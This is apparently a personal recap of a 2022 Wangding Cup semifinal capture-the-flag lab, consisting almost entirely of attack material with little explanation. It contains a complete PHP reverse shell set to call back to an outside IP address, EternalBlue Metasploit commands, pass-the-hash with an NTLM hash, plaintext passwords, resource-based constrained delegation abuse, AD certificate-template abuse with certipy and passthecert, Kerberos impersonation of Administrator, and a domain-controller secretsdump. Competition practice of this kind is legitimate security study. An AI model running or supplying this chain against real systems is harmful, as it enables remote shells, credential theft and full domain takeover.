2022网鼎杯半决赛复盘

http://39.101.181.19/wp-admin/

  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 [email protected]

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '8.149.142.195';  // You have changed this
  $port = 9999;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?> 
  

172.22.15.18 XR-CA

172.22.15.13 XR-DC01
	XR-DC01.xiaorang.lab

172.22.15.24 XR-WIN08
	永恒之蓝

172.22.15.35
	XR-0687
	
172.22.15.26
	本机

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set rhosts 172.22.15.24
exploit

psexec.py xiaorang.lab/[email protected] -hashes "aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc" -codec gbk

lixiuying:winniethepooh
huachunmei:1qaz2wsx

S-1-5-21-3745972894-1678056601-2622918667-1147

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

export KRB5CCNAME=Administrator.ccache

psexec.py [email protected] -k -no-pass -dc-ip 172.22.15.13 -codec gbk

certipy account create -user 'TEST2$' -pass 'P@ssw0rd' -dns XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -u lixiuying -p 'winniethepooh'

certipy req -u '[email protected]' -p 'P@ssw0rd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine'

certipy auth -pfx xr-dc-01.pfx -username XR-DC01\$ -domain xiaorang.lab -dc-ip xr-dc01.xiaorang.lab

secretsdump.py -k xiaorang.lab/xr-dc01\[email protected] -no-pass -just-dc

openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt

python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13

python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'TEST2$'

getST.py xiaorang.lab/'TEST2$':'P@ssw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

psexec.py [email protected] -k -no-pass -dc-ip 172.22.15.13